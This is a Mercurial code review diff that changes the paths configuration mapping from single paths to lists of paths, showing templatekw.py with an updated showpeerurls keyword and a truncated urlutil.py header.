urlutil: make `paths` class old list of `path`

We move from a `{name → path}` mapping to a `{name → [path]}` mapping. And
update all user code accordingly. For now, all the list contains exactly one
element, but we are now in a good place to make the config understand a list of
url.

Differential Revision: https://phab.mercurial-scm.org/D10447

mercurial/templatekw.py

@@ -1,1012 +1,1017 b''
 # templatekw.py - common changeset template keywords
 #
 # Copyright 2005-2009 Olivia Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 from .i18n import _
 from .node import (
     hex,
     wdirrev,
 )
 
 from . import (
     diffutil,
     encoding,
     error,
     hbisect,
     i18n,
     obsutil,
     patch,
     pycompat,
     registrar,
     scmutil,
     templateutil,
     util,
 )
 from .utils import (
     stringutil,
     urlutil,
 )
 
 _hybrid = templateutil.hybrid
 hybriddict = templateutil.hybriddict
 hybridlist = templateutil.hybridlist
 compatdict = templateutil.compatdict
 compatlist = templateutil.compatlist
 _showcompatlist = templateutil._showcompatlist
 
 
 def getlatesttags(context, mapping, pattern=None):
     '''return date, distance and name for the latest tag of rev'''
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     cache = context.resource(mapping, b'cache')
 
     cachename = b'latesttags'
     if pattern is not None:
         cachename += b'-' + pattern
         match = stringutil.stringmatcher(pattern)[2]
     else:
         match = util.always
 
     if cachename not in cache:
         # Cache mapping from rev to a tuple with tag date, tag
         # distance and tag name
         cache[cachename] = {-1: (0, 0, [b'null'])}
     latesttags = cache[cachename]
 
     rev = ctx.rev()
     todo = [rev]
     while todo:
         rev = todo.pop()
         if rev in latesttags:
             continue
         ctx = repo[rev]
         tags = [
             t
             for t in ctx.tags()
             if (repo.tagtype(t) and repo.tagtype(t) != b'local' and match(t))
         ]
         if tags:
             latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
             continue
         try:
             ptags = [latesttags[p.rev()] for p in ctx.parents()]
             if len(ptags) > 1:
                 if ptags[0][2] == ptags[1][2]:
                     # The tuples are laid out so the right one can be found by
                     # comparison in this case.
                     pdate, pdist, ptag = max(ptags)
                 else:
 
                     def key(x):
                         tag = x[2][0]
                         if ctx.rev() is None:
                             # only() doesn't support wdir
                             prevs = [c.rev() for c in ctx.parents()]
                             changes = repo.revs(b'only(%ld, %s)', prevs, tag)
                             changessincetag = len(changes) + 1
                         else:
                             changes = repo.revs(b'only(%d, %s)', ctx.rev(), tag)
                             changessincetag = len(changes)
                         # Smallest number of changes since tag wins. Date is
                         # used as tiebreaker.
                         return [-changessincetag, x[0]]
 
                     pdate, pdist, ptag = max(ptags, key=key)
             else:
                 pdate, pdist, ptag = ptags[0]
         except KeyError:
             # Cache miss - recurse
             todo.append(rev)
             todo.extend(p.rev() for p in ctx.parents())
             continue
         latesttags[rev] = pdate, pdist + 1, ptag
     return latesttags[rev]
 
 
 def getlogcolumns():
     """Return a dict of log column labels"""
     _ = pycompat.identity  # temporarily disable gettext
     # i18n: column positioning for "hg log"
     columns = _(
         b'bookmark:    %s\n'
         b'branch:      %s\n'
         b'changeset:   %s\n'
         b'copies:      %s\n'
         b'date:        %s\n'
         b'extra:       %s=%s\n'
         b'files+:      %s\n'
         b'files-:      %s\n'
         b'files:       %s\n'
         b'instability: %s\n'
         b'manifest:    %s\n'
         b'obsolete:    %s\n'
         b'parent:      %s\n'
         b'phase:       %s\n'
         b'summary:     %s\n'
         b'tag:         %s\n'
         b'user:        %s\n'
     )
     return dict(
         zip(
             [s.split(b':', 1)[0] for s in columns.splitlines()],
             i18n._(columns).splitlines(True),
         )
     )
 
 
 # basic internal templates
 _changeidtmpl = b'{rev}:{node|formatnode}'
 
 # default templates internally used for rendering of lists
 defaulttempl = {
     b'parent': _changeidtmpl + b' ',
     b'manifest': _changeidtmpl,
     b'file_copy': b'{name} ({source})',
     b'envvar': b'{key}={value}',
     b'extra': b'{key}={value|stringescape}',
 }
 # filecopy is preserved for compatibility reasons
 defaulttempl[b'filecopy'] = defaulttempl[b'file_copy']
 
 # keywords are callables (see registrar.templatekeyword for details)
 keywords = {}
 templatekeyword = registrar.templatekeyword(keywords)
 
 
 @templatekeyword(b'author', requires={b'ctx'})
 def showauthor(context, mapping):
     """Alias for ``{user}``"""
     return showuser(context, mapping)
 
 
 @templatekeyword(b'bisect', requires={b'repo', b'ctx'})
 def showbisect(context, mapping):
     """String. The changeset bisection status."""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     return hbisect.label(repo, ctx.node())
 
 
 @templatekeyword(b'branch', requires={b'ctx'})
 def showbranch(context, mapping):
     """String. The name of the branch on which the changeset was
     committed.
     """
     ctx = context.resource(mapping, b'ctx')
     return ctx.branch()
 
 
 @templatekeyword(b'branches', requires={b'ctx'})
 def showbranches(context, mapping):
     """List of strings. The name of the branch on which the
     changeset was committed. Will be empty if the branch name was
     default. (DEPRECATED)
     """
     ctx = context.resource(mapping, b'ctx')
     branch = ctx.branch()
     if branch != b'default':
         return compatlist(
             context, mapping, b'branch', [branch], plural=b'branches'
         )
     return compatlist(context, mapping, b'branch', [], plural=b'branches')
 
 
 @templatekeyword(b'bookmarks', requires={b'repo', b'ctx'})
 def showbookmarks(context, mapping):
     """List of strings. Any bookmarks associated with the
     changeset. Also sets 'active', the name of the active bookmark.
     """
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     bookmarks = ctx.bookmarks()
     active = repo._activebookmark
     makemap = lambda v: {b'bookmark': v, b'active': active, b'current': active}
     f = _showcompatlist(context, mapping, b'bookmark', bookmarks)
     return _hybrid(f, bookmarks, makemap, pycompat.identity)
 
 
 @templatekeyword(b'children', requires={b'ctx'})
 def showchildren(context, mapping):
     """List of strings. The children of the changeset."""
     ctx = context.resource(mapping, b'ctx')
     childrevs = [b'%d:%s' % (cctx.rev(), cctx) for cctx in ctx.children()]
     return compatlist(
         context, mapping, b'children', childrevs, element=b'child'
     )
 
 
 # Deprecated, but kept alive for help generation a purpose.
 @templatekeyword(b'currentbookmark', requires={b'repo', b'ctx'})
 def showcurrentbookmark(context, mapping):
     """String. The active bookmark, if it is associated with the changeset.
     (DEPRECATED)"""
     return showactivebookmark(context, mapping)
 
 
 @templatekeyword(b'activebookmark', requires={b'repo', b'ctx'})
 def showactivebookmark(context, mapping):
     """String. The active bookmark, if it is associated with the changeset."""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     active = repo._activebookmark
     if active and active in ctx.bookmarks():
         return active
     return b''
 
 
 @templatekeyword(b'date', requires={b'ctx'})
 def showdate(context, mapping):
     """Date information. The date when the changeset was committed."""
     ctx = context.resource(mapping, b'ctx')
     # the default string format is '<float(unixtime)><tzoffset>' because
     # python-hglib splits date at decimal separator.
     return templateutil.date(ctx.date(), showfmt=b'%d.0%d')
 
 
 @templatekeyword(b'desc', requires={b'ctx'})
 def showdescription(context, mapping):
     """String. The text of the changeset description."""
     ctx = context.resource(mapping, b'ctx')
     s = ctx.description()
     if isinstance(s, encoding.localstr):
         # try hard to preserve utf-8 bytes
         return encoding.tolocal(encoding.fromlocal(s).strip())
     elif isinstance(s, encoding.safelocalstr):
         return encoding.safelocalstr(s.strip())
     else:
         return s.strip()
 
 
 @templatekeyword(b'diffstat', requires={b'ui', b'ctx'})
 def showdiffstat(context, mapping):
     """String. Statistics of changes with the following format:
     "modified files: +added/-removed lines"
     """
     ui = context.resource(mapping, b'ui')
     ctx = context.resource(mapping, b'ctx')
     diffopts = diffutil.diffallopts(ui, {b'noprefix': False})
     diff = ctx.diff(opts=diffopts)
     stats = patch.diffstatdata(util.iterlines(diff))
     maxname, maxtotal, adds, removes, binary = patch.diffstatsum(stats)
     return b'%d: +%d/-%d' % (len(stats), adds, removes)
 
 
 @templatekeyword(b'envvars', requires={b'ui'})
 def showenvvars(context, mapping):
     """A dictionary of environment variables. (EXPERIMENTAL)"""
     ui = context.resource(mapping, b'ui')
     env = ui.exportableenviron()
     env = util.sortdict((k, env[k]) for k in sorted(env))
     return compatdict(context, mapping, b'envvar', env, plural=b'envvars')
 
 
 @templatekeyword(b'extras', requires={b'ctx'})
 def showextras(context, mapping):
     """List of dicts with key, value entries of the 'extras'
     field of this changeset."""
     ctx = context.resource(mapping, b'ctx')
     extras = ctx.extra()
     extras = util.sortdict((k, extras[k]) for k in sorted(extras))
     makemap = lambda k: {b'key': k, b'value': extras[k]}
     c = [makemap(k) for k in extras]
     f = _showcompatlist(context, mapping, b'extra', c, plural=b'extras')
     return _hybrid(
         f,
         extras,
         makemap,
         lambda k: b'%s=%s' % (k, stringutil.escapestr(extras[k])),
     )
 
 
 def _getfilestatus(context, mapping, listall=False):
     ctx = context.resource(mapping, b'ctx')
     revcache = context.resource(mapping, b'revcache')
     if b'filestatus' not in revcache or revcache[b'filestatusall'] < listall:
         stat = ctx.p1().status(
             ctx, listignored=listall, listclean=listall, listunknown=listall
         )
         revcache[b'filestatus'] = stat
         revcache[b'filestatusall'] = listall
     return revcache[b'filestatus']
 
 
 def _getfilestatusmap(context, mapping, listall=False):
     revcache = context.resource(mapping, b'revcache')
     if b'filestatusmap' not in revcache or revcache[b'filestatusall'] < listall:
         stat = _getfilestatus(context, mapping, listall=listall)
         revcache[b'filestatusmap'] = statmap = {}
         for char, files in zip(pycompat.iterbytestr(b'MAR!?IC'), stat):
             statmap.update((f, char) for f in files)
     return revcache[b'filestatusmap']  # {path: statchar}
 
 
 @templatekeyword(
     b'file_copies', requires={b'repo', b'ctx', b'cache', b'revcache'}
 )
 def showfilecopies(context, mapping):
     """List of strings. Files copied in this changeset with
     their sources.
     """
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     cache = context.resource(mapping, b'cache')
     copies = context.resource(mapping, b'revcache').get(b'copies')
     if copies is None:
         if b'getcopies' not in cache:
             cache[b'getcopies'] = scmutil.getcopiesfn(repo)
         getcopies = cache[b'getcopies']
         copies = getcopies(ctx)
     return templateutil.compatfilecopiesdict(
         context, mapping, b'file_copy', copies
     )
 
 
 # showfilecopiesswitch() displays file copies only if copy records are
 # provided before calling the templater, usually with a --copies
 # command line switch.
 @templatekeyword(b'file_copies_switch', requires={b'revcache'})
 def showfilecopiesswitch(context, mapping):
     """List of strings. Like "file_copies" but displayed
     only if the --copied switch is set.
     """
     copies = context.resource(mapping, b'revcache').get(b'copies') or []
     return templateutil.compatfilecopiesdict(
         context, mapping, b'file_copy', copies
     )
 
 
 @templatekeyword(b'file_adds', requires={b'ctx', b'revcache'})
 def showfileadds(context, mapping):
     """List of strings. Files added by this changeset."""
     ctx = context.resource(mapping, b'ctx')
     return templateutil.compatfileslist(
         context, mapping, b'file_add', ctx.filesadded()
     )
 
 
 @templatekeyword(b'file_dels', requires={b'ctx', b'revcache'})
 def showfiledels(context, mapping):
     """List of strings. Files removed by this changeset."""
     ctx = context.resource(mapping, b'ctx')
     return templateutil.compatfileslist(
         context, mapping, b'file_del', ctx.filesremoved()
     )
 
 
 @templatekeyword(b'file_mods', requires={b'ctx', b'revcache'})
 def showfilemods(context, mapping):
     """List of strings. Files modified by this changeset."""
     ctx = context.resource(mapping, b'ctx')
     return templateutil.compatfileslist(
         context, mapping, b'file_mod', ctx.filesmodified()
     )
 
 
 @templatekeyword(b'files', requires={b'ctx'})
 def showfiles(context, mapping):
     """List of strings. All files modified, added, or removed by this
     changeset.
     """
     ctx = context.resource(mapping, b'ctx')
     return templateutil.compatfileslist(context, mapping, b'file', ctx.files())
 
 
 @templatekeyword(b'graphnode', requires={b'repo', b'ctx', b'cache'})
 def showgraphnode(context, mapping):
     """String. The character representing the changeset node in an ASCII
     revision graph."""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     cache = context.resource(mapping, b'cache')
     return getgraphnode(repo, ctx, cache)
 
 
 def getgraphnode(repo, ctx, cache):
     return getgraphnodecurrent(repo, ctx, cache) or getgraphnodesymbol(ctx)
 
 
 def getgraphnodecurrent(repo, ctx, cache):
     wpnodes = repo.dirstate.parents()
     if wpnodes[1] == repo.nullid:
         wpnodes = wpnodes[:1]
     if ctx.node() in wpnodes:
         return b'@'
     else:
         merge_nodes = cache.get(b'merge_nodes')
         if merge_nodes is None:
             from . import mergestate as mergestatemod
 
             mergestate = mergestatemod.mergestate.read(repo)
             if mergestate.unresolvedcount():
                 merge_nodes = (mergestate.local, mergestate.other)
             else:
                 merge_nodes = ()
             cache[b'merge_nodes'] = merge_nodes
 
         if ctx.node() in merge_nodes:
             return b'%'
         return b''
 
 
 def getgraphnodesymbol(ctx):
     if ctx.obsolete():
         return b'x'
     elif ctx.isunstable():
         return b'*'
     elif ctx.closesbranch():
         return b'_'
     else:
         return b'o'
 
 
 @templatekeyword(b'graphwidth', requires=())
 def showgraphwidth(context, mapping):
     """Integer. The width of the graph drawn by 'log --graph' or zero."""
     # just hosts documentation; should be overridden by template mapping
     return 0
 
 
 @templatekeyword(b'index', requires=())
 def showindex(context, mapping):
     """Integer. The current iteration of the loop. (0 indexed)"""
     # just hosts documentation; should be overridden by template mapping
     raise error.Abort(_(b"can't use index in this context"))
 
 
 @templatekeyword(b'latesttag', requires={b'repo', b'ctx', b'cache'})
 def showlatesttag(context, mapping):
     """List of strings. The global tags on the most recent globally
     tagged ancestor of this changeset.  If no such tags exist, the list
     consists of the single string "null".
     """
     return showlatesttags(context, mapping, None)
 
 
 def showlatesttags(context, mapping, pattern):
     """helper method for the latesttag keyword and function"""
     latesttags = getlatesttags(context, mapping, pattern)
 
     # latesttag[0] is an implementation detail for sorting csets on different
     # branches in a stable manner- it is the date the tagged cset was created,
     # not the date the tag was created.  Therefore it isn't made visible here.
     makemap = lambda v: {
         b'changes': _showchangessincetag,
         b'distance': latesttags[1],
         b'latesttag': v,  # BC with {latesttag % '{latesttag}'}
         b'tag': v,
     }
 
     tags = latesttags[2]
     f = _showcompatlist(context, mapping, b'latesttag', tags, separator=b':')
     return _hybrid(f, tags, makemap, pycompat.identity)
 
 
 @templatekeyword(b'latesttagdistance', requires={b'repo', b'ctx', b'cache'})
 def showlatesttagdistance(context, mapping):
     """Integer. Longest path to the latest tag."""
     return getlatesttags(context, mapping)[1]
 
 
 @templatekeyword(b'changessincelatesttag', requires={b'repo', b'ctx', b'cache'})
 def showchangessincelatesttag(context, mapping):
     """Integer. All ancestors not in the latest tag."""
     tag = getlatesttags(context, mapping)[2][0]
     mapping = context.overlaymap(mapping, {b'tag': tag})
     return _showchangessincetag(context, mapping)
 
 
 def _showchangessincetag(context, mapping):
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     offset = 0
     revs = [ctx.rev()]
     tag = context.symbol(mapping, b'tag')
 
     # The only() revset doesn't currently support wdir()
     if ctx.rev() is None:
         offset = 1
         revs = [p.rev() for p in ctx.parents()]
 
     return len(repo.revs(b'only(%ld, %s)', revs, tag)) + offset
 
 
 # teach templater latesttags.changes is switched to (context, mapping) API
 _showchangessincetag._requires = {b'repo', b'ctx'}
 
 
 @templatekeyword(b'manifest', requires={b'repo', b'ctx'})
 def showmanifest(context, mapping):
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     mnode = ctx.manifestnode()
     if mnode is None:
         mnode = repo.nodeconstants.wdirid
         mrev = wdirrev
         mhex = repo.nodeconstants.wdirhex
     else:
         mrev = repo.manifestlog.rev(mnode)
         mhex = hex(mnode)
     mapping = context.overlaymap(mapping, {b'rev': mrev, b'node': mhex})
     f = context.process(b'manifest', mapping)
     return templateutil.hybriditem(
         f, None, f, lambda x: {b'rev': mrev, b'node': mhex}
     )
 
 
 @templatekeyword(b'obsfate', requires={b'ui', b'repo', b'ctx'})
 def showobsfate(context, mapping):
     # this function returns a list containing pre-formatted obsfate strings.
     #
     # This function will be replaced by templates fragments when we will have
     # the verbosity templatekw available.
     succsandmarkers = showsuccsandmarkers(context, mapping)
 
     ui = context.resource(mapping, b'ui')
     repo = context.resource(mapping, b'repo')
     values = []
 
     for x in succsandmarkers.tovalue(context, mapping):
         v = obsutil.obsfateprinter(
             ui, repo, x[b'successors'], x[b'markers'], scmutil.formatchangeid
         )
         values.append(v)
 
     return compatlist(context, mapping, b"fate", values)
 
 
 def shownames(context, mapping, namespace):
     """helper method to generate a template keyword for a namespace"""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     ns = repo.names.get(namespace)
     if ns is None:
         # namespaces.addnamespace() registers new template keyword, but
         # the registered namespace might not exist in the current repo.
         return
     names = ns.names(repo, ctx.node())
     return compatlist(
         context, mapping, ns.templatename, names, plural=namespace
     )
 
 
 @templatekeyword(b'namespaces', requires={b'repo', b'ctx'})
 def shownamespaces(context, mapping):
     """Dict of lists. Names attached to this changeset per
     namespace."""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
 
     namespaces = util.sortdict()
 
     def makensmapfn(ns):
         # 'name' for iterating over namespaces, templatename for local reference
         return lambda v: {b'name': v, ns.templatename: v}
 
     for k, ns in pycompat.iteritems(repo.names):
         names = ns.names(repo, ctx.node())
         f = _showcompatlist(context, mapping, b'name', names)
         namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
 
     f = _showcompatlist(context, mapping, b'namespace', list(namespaces))
 
     def makemap(ns):
         return {
             b'namespace': ns,
             b'names': namespaces[ns],
             b'builtin': repo.names[ns].builtin,
             b'colorname': repo.names[ns].colorname,
         }
 
     return _hybrid(f, namespaces, makemap, pycompat.identity)
 
 
 @templatekeyword(b'negrev', requires={b'repo', b'ctx'})
 def shownegrev(context, mapping):
     """Integer. The repository-local changeset negative revision number,
     which counts in the opposite direction."""
     ctx = context.resource(mapping, b'ctx')
     rev = ctx.rev()
     if rev is None or rev < 0:  # wdir() or nullrev?
         return None
     repo = context.resource(mapping, b'repo')
     return rev - len(repo)
 
 
 @templatekeyword(b'node', requires={b'ctx'})
 def shownode(context, mapping):
     """String. The changeset identification hash, as a 40 hexadecimal
     digit string.
     """
     ctx = context.resource(mapping, b'ctx')
     return ctx.hex()
 
 
 @templatekeyword(b'obsolete', requires={b'ctx'})
 def showobsolete(context, mapping):
     """String. Whether the changeset is obsolete. (EXPERIMENTAL)"""
     ctx = context.resource(mapping, b'ctx')
     if ctx.obsolete():
         return b'obsolete'
     return b''
 
 
 @templatekeyword(b'onelinesummary', requires={b'ui', b'ctx'})
 def showonelinesummary(context, mapping):
     """String. A one-line summary for the ctx (not including trailing newline).
     The default template be overridden in command-templates.oneline-summary."""
     # Avoid cycle:
     # mercurial.cmdutil -> mercurial.templatekw -> mercurial.cmdutil
     from . import cmdutil
 
     ui = context.resource(mapping, b'ui')
     ctx = context.resource(mapping, b'ctx')
     return cmdutil.format_changeset_summary(ui, ctx)
 
 
 @templatekeyword(b'path', requires={b'fctx'})
 def showpath(context, mapping):
     """String. Repository-absolute path of the current file. (EXPERIMENTAL)"""
     fctx = context.resource(mapping, b'fctx')
     return fctx.path()
 
 
 @templatekeyword(b'peerurls', requires={b'repo'})
 def showpeerurls(context, mapping):
     """A dictionary of repository locations defined in the [paths] section
     of your configuration file."""
     repo = context.resource(mapping, b'repo')
     # see commands.paths() for naming of dictionary keys
     paths = repo.ui.paths
     all_paths = urlutil.list_paths(repo.ui)
     urls = util.sortdict((k, p.rawloc) for k, p in all_paths)
 
     def makemap(k):
-        p = paths[k]
-        d = {b'name': k, b'url': p.rawloc}
-        sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
+        ps = paths[k]
+        d = {b'name': k}
+        if len(ps) == 1:
+            d[b'url'] = ps[0].rawloc
+            sub_opts = pycompat.iteritems(ps[0].suboptions)
+            sub_opts = util.sortdict(sorted(sub_opts))
         d.update(sub_opts)
         path_dict = util.sortdict()
+        for p in ps:
+            sub_opts = util.sortdict(sorted(pycompat.iteritems(p.suboptions)))
         path_dict[b'url'] = p.rawloc
         path_dict.update(sub_opts)
         d[b'urls'] = [path_dict]
         return d
 
     def format_one(k):
         return b'%s=%s' % (k, urls[k])
 
     return _hybrid(None, urls, makemap, format_one)
 
 
 @templatekeyword(b"predecessors", requires={b'repo', b'ctx'})
 def showpredecessors(context, mapping):
     """Returns the list of the closest visible predecessors. (EXPERIMENTAL)"""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
     predecessors = pycompat.maplist(hex, predecessors)
 
     return _hybrid(
         None,
         predecessors,
         lambda x: {b'ctx': repo[x]},
         lambda x: scmutil.formatchangeid(repo[x]),
     )
 
 
 @templatekeyword(b'reporoot', requires={b'repo'})
 def showreporoot(context, mapping):
     """String. The root directory of the current repository."""
     repo = context.resource(mapping, b'repo')
     return repo.root
 
 
 @templatekeyword(b'size', requires={b'fctx'})
 def showsize(context, mapping):
     """Integer. Size of the current file in bytes. (EXPERIMENTAL)"""
     fctx = context.resource(mapping, b'fctx')
     return fctx.size()
 
 
 # requires 'fctx' to denote {status} depends on (ctx, path) pair
 @templatekeyword(b'status', requires={b'ctx', b'fctx', b'revcache'})
 def showstatus(context, mapping):
     """String. Status code of the current file. (EXPERIMENTAL)"""
     path = templateutil.runsymbol(context, mapping, b'path')
     path = templateutil.stringify(context, mapping, path)
     if not path:
         return
     statmap = _getfilestatusmap(context, mapping)
     if path not in statmap:
         statmap = _getfilestatusmap(context, mapping, listall=True)
     return statmap.get(path)
 
 
 @templatekeyword(b"successorssets", requires={b'repo', b'ctx'})
 def showsuccessorssets(context, mapping):
     """Returns a string of sets of successors for a changectx. Format used
     is: [ctx1, ctx2], [ctx3] if ctx has been split into ctx1 and ctx2
     while also diverged into ctx3. (EXPERIMENTAL)"""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     data = []
 
     if ctx.obsolete():
         ssets = obsutil.successorssets(repo, ctx.node(), closest=True)
         ssets = [[hex(n) for n in ss] for ss in ssets]
 
         for ss in ssets:
             h = _hybrid(
                 None,
                 ss,
                 lambda x: {b'ctx': repo[x]},
                 lambda x: scmutil.formatchangeid(repo[x]),
             )
             data.append(h)
 
     # Format the successorssets
     def render(d):
         return templateutil.stringify(context, mapping, d)
 
     def gen(data):
         yield b"; ".join(render(d) for d in data)
 
     return _hybrid(
         gen(data), data, lambda x: {b'successorset': x}, pycompat.identity
     )
 
 
 @templatekeyword(b"succsandmarkers", requires={b'repo', b'ctx'})
 def showsuccsandmarkers(context, mapping):
     """Returns a list of dict for each final successor of ctx. The dict
     contains successors node id in "successors" keys and the list of
     obs-markers from ctx to the set of successors in "markers".
     (EXPERIMENTAL)
     """
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
 
     values = obsutil.successorsandmarkers(repo, ctx)
 
     if values is None:
         values = []
 
     # Format successors and markers to avoid exposing binary to templates
     data = []
     for i in values:
         # Format successors
         successors = i[b'successors']
 
         successors = [hex(n) for n in successors]
         successors = _hybrid(
             None,
             successors,
             lambda x: {b'ctx': repo[x]},
             lambda x: scmutil.formatchangeid(repo[x]),
         )
 
         # Format markers
         finalmarkers = []
         for m in i[b'markers']:
             hexprec = hex(m[0])
             hexsucs = tuple(hex(n) for n in m[1])
             hexparents = None
             if m[5] is not None:
                 hexparents = tuple(hex(n) for n in m[5])
             newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
             finalmarkers.append(newmarker)
 
         data.append({b'successors': successors, b'markers': finalmarkers})
 
     return templateutil.mappinglist(data)
 
 
 @templatekeyword(b'p1', requires={b'ctx'})
 def showp1(context, mapping):
     """Changeset. The changeset's first parent. ``{p1.rev}`` for the revision
     number, and ``{p1.node}`` for the identification hash."""
     ctx = context.resource(mapping, b'ctx')
     return templateutil.mappingdict({b'ctx': ctx.p1()}, tmpl=_changeidtmpl)
 
 
 @templatekeyword(b'p2', requires={b'ctx'})
 def showp2(context, mapping):
     """Changeset. The changeset's second parent. ``{p2.rev}`` for the revision
     number, and ``{p2.node}`` for the identification hash."""
     ctx = context.resource(mapping, b'ctx')
     return templateutil.mappingdict({b'ctx': ctx.p2()}, tmpl=_changeidtmpl)
 
 
 @templatekeyword(b'p1rev', requires={b'ctx'})
 def showp1rev(context, mapping):
     """Integer. The repository-local revision number of the changeset's
     first parent, or -1 if the changeset has no parents. (DEPRECATED)"""
     ctx = context.resource(mapping, b'ctx')
     return ctx.p1().rev()
 
 
 @templatekeyword(b'p2rev', requires={b'ctx'})
 def showp2rev(context, mapping):
     """Integer. The repository-local revision number of the changeset's
     second parent, or -1 if the changeset has no second parent. (DEPRECATED)"""
     ctx = context.resource(mapping, b'ctx')
     return ctx.p2().rev()
 
 
 @templatekeyword(b'p1node', requires={b'ctx'})
 def showp1node(context, mapping):
     """String. The identification hash of the changeset's first parent,
     as a 40 digit hexadecimal string. If the changeset has no parents, all
     digits are 0. (DEPRECATED)"""
     ctx = context.resource(mapping, b'ctx')
     return ctx.p1().hex()
 
 
 @templatekeyword(b'p2node', requires={b'ctx'})
 def showp2node(context, mapping):
     """String. The identification hash of the changeset's second
     parent, as a 40 digit hexadecimal string. If the changeset has no second
     parent, all digits are 0. (DEPRECATED)"""
     ctx = context.resource(mapping, b'ctx')
     return ctx.p2().hex()
 
 
 @templatekeyword(b'parents', requires={b'repo', b'ctx'})
 def showparents(context, mapping):
     """List of strings. The parents of the changeset in "rev:node"
     format. If the changeset has only one "natural" parent (the predecessor
     revision) nothing is shown."""
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
     pctxs = scmutil.meaningfulparents(repo, ctx)
     prevs = [p.rev() for p in pctxs]
     parents = [
         [(b'rev', p.rev()), (b'node', p.hex()), (b'phase', p.phasestr())]
         for p in pctxs
     ]
     f = _showcompatlist(context, mapping, b'parent', parents)
     return _hybrid(
         f,
         prevs,
         lambda x: {b'ctx': repo[x]},
         lambda x: scmutil.formatchangeid(repo[x]),
         keytype=int,
     )
 
 
 @templatekeyword(b'phase', requires={b'ctx'})
 def showphase(context, mapping):
     """String. The changeset phase name."""
     ctx = context.resource(mapping, b'ctx')
     return ctx.phasestr()
 
 
 @templatekeyword(b'phaseidx', requires={b'ctx'})
 def showphaseidx(context, mapping):
     """Integer. The changeset phase index. (ADVANCED)"""
     ctx = context.resource(mapping, b'ctx')
     return ctx.phase()
 
 
 @templatekeyword(b'rev', requires={b'ctx'})
 def showrev(context, mapping):
     """Integer. The repository-local changeset revision number."""
     ctx = context.resource(mapping, b'ctx')
     return scmutil.intrev(ctx)
 
 
 @templatekeyword(b'subrepos', requires={b'ctx'})
 def showsubrepos(context, mapping):
     """List of strings. Updated subrepositories in the changeset."""
     ctx = context.resource(mapping, b'ctx')
     substate = ctx.substate
     if not substate:
         return compatlist(context, mapping, b'subrepo', [])
     psubstate = ctx.p1().substate or {}
     subrepos = []
     for sub in substate:
         if sub not in psubstate or substate[sub] != psubstate[sub]:
             subrepos.append(sub)  # modified or newly added in ctx
     for sub in psubstate:
         if sub not in substate:
             subrepos.append(sub)  # removed in ctx
     return compatlist(context, mapping, b'subrepo', sorted(subrepos))
 
 
 # don't remove "showtags" definition, even though namespaces will put
 # a helper function for "tags" keyword into "keywords" map automatically,
 # because online help text is built without namespaces initialization
 @templatekeyword(b'tags', requires={b'repo', b'ctx'})
 def showtags(context, mapping):
     """List of strings. Any tags associated with the changeset."""
     return shownames(context, mapping, b'tags')
 
 
 @templatekeyword(b'termwidth', requires={b'ui'})
 def showtermwidth(context, mapping):
     """Integer. The width of the current terminal."""
     ui = context.resource(mapping, b'ui')
     return ui.termwidth()
 
 
 @templatekeyword(b'user', requires={b'ctx'})
 def showuser(context, mapping):
     """String. The unmodified author of the changeset."""
     ctx = context.resource(mapping, b'ctx')
     return ctx.user()
 
 
 @templatekeyword(b'instabilities', requires={b'ctx'})
 def showinstabilities(context, mapping):
     """List of strings. Evolution instabilities affecting the changeset.
     (EXPERIMENTAL)
     """
     ctx = context.resource(mapping, b'ctx')
     return compatlist(
         context,
         mapping,
         b'instability',
         ctx.instabilities(),
         plural=b'instabilities',
     )
 
 
 @templatekeyword(b'verbosity', requires={b'ui'})
 def showverbosity(context, mapping):
     """String. The current output verbosity in 'debug', 'quiet', 'verbose',
     or ''."""
     ui = context.resource(mapping, b'ui')
     # see logcmdutil.changesettemplater for priority of these flags
     if ui.debugflag:
         return b'debug'
     elif ui.quiet:
         return b'quiet'
     elif ui.verbose:
         return b'verbose'
     return b''
 
 
 @templatekeyword(b'whyunstable', requires={b'repo', b'ctx'})
 def showwhyunstable(context, mapping):
     """List of dicts explaining all instabilities of a changeset.
     (EXPERIMENTAL)
     """
     repo = context.resource(mapping, b'repo')
     ctx = context.resource(mapping, b'ctx')
 
     def formatnode(ctx):
         return b'%s (%s)' % (scmutil.formatchangeid(ctx), ctx.phasestr())
 
     entries = obsutil.whyunstable(repo, ctx)
 
     for entry in entries:
         if entry.get(b'divergentnodes'):
             dnodes = entry[b'divergentnodes']
             dnhybrid = _hybrid(
                 None,
                 [dnode.hex() for dnode in dnodes],
                 lambda x: {b'ctx': repo[x]},
                 lambda x: formatnode(repo[x]),
             )
             entry[b'divergentnodes'] = dnhybrid
 
     tmpl = (
         b'{instability}:{if(divergentnodes, " ")}{divergentnodes} '
         b'{reason} {node|short}'
     )
     return templateutil.mappinglist(entries, tmpl=tmpl, sep=b'\n')
 
 
 def loadkeyword(ui, extname, registrarobj):
     """Load template keyword from specified registrarobj"""
     for name, func in pycompat.iteritems(registrarobj._table):
         keywords[name] = func
 
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = keywords.values()

mercurial/utils/urlutil.py

@@ -1,843 +1,886 b''
 # utils.urlutil - code related to [paths] management
 #
